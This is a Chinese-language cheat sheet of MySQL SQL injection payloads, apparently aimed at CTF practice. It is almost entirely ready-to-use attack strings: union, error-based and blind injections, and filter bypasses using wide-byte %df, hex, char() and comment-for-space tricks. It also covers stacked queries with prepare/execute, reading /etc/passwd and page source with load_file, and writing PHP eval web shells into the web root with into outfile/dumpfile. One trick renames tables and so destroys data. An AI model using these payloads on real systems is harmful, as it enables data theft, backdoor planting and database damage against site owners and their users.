sql注入payload总结"/>
sql注入payload总结
以下payload均不报错大小写绕过,关键字绕过等,请自行判断过滤方式后修改payload,若有后续代码,请自行考虑截断或者补全方式。
- 简单注入payload,例如 id=1, id这个字段就是注入字段
id=1 union select 1,2,group_concat(table_name),3 from information_schema.tables where table_schema=database()
sqlmap
python sqlmap.py -u =1 -p id --dbs
- 宽字节注入,一般会伴随
addslashes
函数,使用%df
绕过转义字符,同时,在搜索中难免在where中会用到字符串,可以使用char函数将ascii码转换成字符串,也可以以16进制的方式绕过,从而绕过引号
id=%df' union select 1,0x61646d696e,group_concat(column_name) from information_schema.columns where table_name = char(102,49,52,103)
- 布尔盲注,一般伴随有提示性的回显
id=1' and ascii(substr(database(),1,1))>114
- 时间盲注,一般配合if函数进行利用
id=1' and if(ascii(substr(database(),1,1))>114,sleep(3),null)
- 报错注入,当页面提示mysql错误信息时
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)
或者
id=1' and extractvalue(1,concat(0x7e,(select database())))
有时候代码里可能会过滤掉其中一种,多试试总是没坏处
- 写入一句话木马
id=1' union select 1,2,"<?php @eval($_GET['string'])?>" into outfile xxx.php
- 注入读取服务器文件
id=1' union select load_file('/etc/passwd')
- 绕过空格过滤,具体效果大家可以在本地sql上运行试试
id=1'^(ascii(mid((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),1,1))=1)='1'
绕过
- 过滤逗号绕过
id=1' union select * from (select 1)a join (select 2)b join (select 3)c
=
过滤,使用like
绕过- 空格过滤,使用制表符
tab
或换行符绕过 - 引号过滤,使用16进制数或char函数绕过
- addslashes过滤,宽字节
%df
注入
进阶
一、select 被过滤但存在堆叠注入
原理:使用mysql_multi_query(),支持以;分割的多条sql语句执行
判断是否存在堆叠注入
1'; show tables;%23
- 使用预处理(Set + prepare + execute),绕过字符串过滤
Set @a=concat('selec','t from xxx');
prepare h from @a;
execute @a;
- 使用16进制执行绕过字符串过滤
Set @a=‘select * from xxx’;
将 select * from xxx 进行16进制编码得到
73656c656374202a2066726f6d20787878
则公式变为
Set @a=0x73656c656374202a2066726f6d20787878;
prepare h from @a;
execute @a;
- 写入一句话木马
Set @a=0x(转16进制 select "<?php eval($_POST[1];?>" into outfile "/var/www/html/a.php";);
prepare h from @a;
execute @a;
- 读取页面源码
首先查看配置
show variables like '%secure%';
查看load_file()可读的磁盘,若不可用,则修改mysql配置文件,当secure_file_priv为空,表示不对mysqld的导入|导出做限制,就可以读取磁盘的目录
Set @a=0x(转16进制 select load_file("/var/www/html/index.php"););
prepare h from @a;
execute @a;
- 使用handler注入
1';handler `1919810931114514` open as aaa;handler aaa read first;handler aaa read next;
- 重命名(注:此方法会破坏原有环境,慎用)
1';rename table `words` to `a`;rename table `flag_table` to `xxxx`;alter table
`xxxx` change `flag` `id` varchar(100);
二、or 被过滤
被影响的表 ‘information_schema’、‘performance_schema’
- 可以通过查询mysql库的innodb_table_stats中的table_name数据来获取表名
- 在列明未知的情况下可以通过猜测列数量来得到想要的数据,若列数量少于展示数量,则可以使用
?id=-1 union select *,1 from flag
的方式,获取数据,也可以使用union的方式来获取数据
?id=-1 union select group_concat(`123`),2 from (select 123 union select * from flag)a
- 在列数多于展示列数量时,可以使用
id=-1 union select 1,2 from flag
三、存在文件写入权限,但union被过滤
注:文件不能被覆盖写,失败后需改写入的文件名后重试
- union select 写入
select * from stu where id=1 union select 1,2,'<?=phpinfo();?>' into dumpfile '/var/www/html/1.php'-- -
- lines terminated by 在末尾写入
select * from stu where id=1 into outfile '/var/www/html/1.php' lines terminated by '<?php phpinfo() ?>'-- -
- lines starting by 在开头写入
select * from stu where id=1 into outfile '/var/www/html/1.php' lines starting by '<?php phpinfo() ?>'-- -
- fields terminated by 在每个字段后写入
select * from stu where id=1 into outfile '/var/www/html/1.php' fields terminated by '<?php phpinfo() ?>'-- -
四、单引号过滤
存在sql语句如下:
select * from users where username='' and password=''
可以使用以下方式构造body
password=||1#&username=\
来构造这样的内容
select * from users where username='\' and password='||1#'
五、空格被过滤
使用 %09 来代替tab键的输入
使用 %0a 来代替\n的输入
使用 %0d 来代替\r的输入
使用 /**/ 替换空格部分的位置
用()开绕过空格过滤
六、字符串截取
(sleep(ascii(mid(user()from(2)for(1)))=109))
解释,在逗号被过滤时使用
mid(user()from(2)for(1))
等同于
mid(user(),2,1)
使用left、right替代mid
right(left(user(),3),1) # 先取到左边3位,再取left取值的右边1位,得到一个字符
或者
substr(user(),3,1)
或者
?id=-1||select(select user())bwtween 'flag{0' and 'flag{~' // 字符串可以转ascii
七、其他过滤的替代方式
若ascii被过滤,则使用ord代替
若if被过滤,则使用case when
if(1=2,3,4)
case 1 when 2 then 3 else 4 end
# and、or、xor、 not被过滤
and = &&
or = ||
xor = | # 异或
not = !# 等号被过滤
like
regexp
引号被过滤,想输入字符串,则可以使用16进制
select * from user where username='flag'
select * from user where username=0x666c6167
sleep过滤,使用benchmark来代替
benchmark(10000000,md5(1))
相当于使用benchmark对md5(1)计算一千万次,来达到延时的效果
更多推荐
sql注入payload总结
发布评论